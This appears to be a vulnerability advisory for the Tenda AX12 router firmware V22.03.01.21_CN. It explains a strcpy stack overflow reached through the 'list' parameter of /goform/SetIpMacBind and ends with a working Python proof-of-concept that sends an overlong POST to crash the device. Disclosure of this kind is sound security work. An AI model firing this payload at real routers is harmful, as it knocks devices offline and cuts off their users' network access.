Affect device：Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)
Vulnerability Type: Stack overflow
Impact: Denial of Service(DoS)
This vulnerability is a vulnerability overflow triggered in the sub_42FDE4 function, which satisfies the request of the upper-level interface function sub_430124, that is, handles the post request under /goform/SetIpMacBind
First, sub_430124 calls the sub_42FFF8 function.
In the sub_42FFF8 function, the two parameters bindnum and list passed in by the post are obtained, and the address of the list value is used as the parameter of the sub_42FDE4 function.
sub_42FDE4, strcpy(v16, v6), v6 is the incoming list parameter, and no length limit and security check are used in this process, so the attacker can cause stack overflow through a long list and achieve denial of service attack.
Poc of Denial of Service(DoS):
import requests
from pwn import *
url = "http://192.168.0.1/goform/SetIpMacBind"
cookie = {"Cookie":"password=1111"}
data = {"bindnum": "1", "list":"\r" + "A" * 1000}
requests.post(url, cookies=cookie, data=data)